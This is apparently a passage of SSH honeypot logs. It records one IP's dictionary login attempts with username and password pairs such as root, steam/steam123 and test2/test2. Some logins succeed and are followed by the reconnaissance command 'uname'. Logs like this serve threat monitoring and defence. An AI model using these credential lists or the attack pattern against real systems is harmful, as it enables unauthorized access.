"start_time": "2026-07-31T04:53:53.006615Z",
"end_time": "2026-07-31T04:53:54.378990Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "P@ssw0rd2026"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: martin
{
"id": "8c70cb2bc3bd",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:53:46.735726Z",
"end_time": "2026-07-31T04:53:48.828114Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "martin",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / nD6ffS9msOngs
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "1693b43e0af0",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:53:40.632747Z",
"end_time": "2026-07-31T04:53:41.930132Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "nD6ffS9msOngs"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: prefect
{
"id": "b0c1235dc30b",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:53:34.361784Z",
"end_time": "2026-07-31T04:53:36.173224Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "prefect",
"pass": "prefect"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test2
{
"id": "6e3b8088da56",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:53:27.945688Z",
"end_time": "2026-07-31T04:53:30.012140Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "test2",
"pass": "test2"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dani
{
"id": "34f0f59ce483",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:53:22.104095Z",
"end_time": "2026-07-31T04:53:23.907159Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "dani",
"pass": "dani"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: steam / steam123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ddc58f915e84",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:53:16.119809Z",
"end_time": "2026-07-31T04:53:17.291906Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "steam",
"pass": "steam123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo14
{
"id": "f118a1ae827b",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:53:10.365812Z",
"end_time": "2026-07-31T04:53:12.298021Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "odoo14",
"pass": "odoo"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}